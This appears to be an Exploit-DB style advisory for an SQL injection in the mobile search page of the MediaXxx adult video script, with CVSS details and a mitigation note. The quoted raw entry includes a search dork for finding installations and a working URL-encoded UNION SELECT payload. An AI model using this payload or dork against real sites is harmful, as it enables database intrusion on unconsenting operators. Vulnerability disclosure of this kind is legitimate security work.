MediaXxx Adult Video / Media Script SQL Injection

vendor:

MediaXxx Adult Video / Media Script

by:

Daniel Godoy

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: MediaXxx Adult Video / Media Script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2012

MediaXxx Adult Video / Media Script SQL Injection

An attacker can inject malicious SQL queries into the vulnerable parameter 'query' of the 'search' page of MediaXxx Adult Video / Media Script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Sanitize all user input and escape special characters.

Source

Exploit-DB raw data:

 # Exploit Title: MediaXxx Adult Video / Media Script SQL Injection
# Date: 19/05/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: MediaXxx
# http://www.mediaxxxscript.com/
# Tested on: Linux
# Dork: "Powered by MediaXxx Mobile"
   
[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, Sensei, Incid3nt,
Maximiliano Soler
    Sunplace, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion,ksha,zerial,
    her0, r0dr1 y demas user de RemoteExecution
    wwwremoteexecution.info www.remoteexcution.com.ar
    #RemoteExecution Hacking Group
 
[PoC]
 
http://localhost/mobile/search?query=[SQL Injection]
 
 
[DEMO]
 
http://server/mobile/search?query=1%27%29%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2858%2C122%2C108%2C118%2C58%29%2C%28CASE%20WHEN%20%28EXISTS%28SELECT%209%20FROM%20information_schema.TABLES%29%29%20THEN%201%20ELSE%200%20END%29%2CCHAR%2858%2C113%2C103%2C116%2C58%29%29%2C%20NULL%2C%20NULL%23%20AND%20%28%27CTgy%27%3D%27CTgy

-------------------------
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com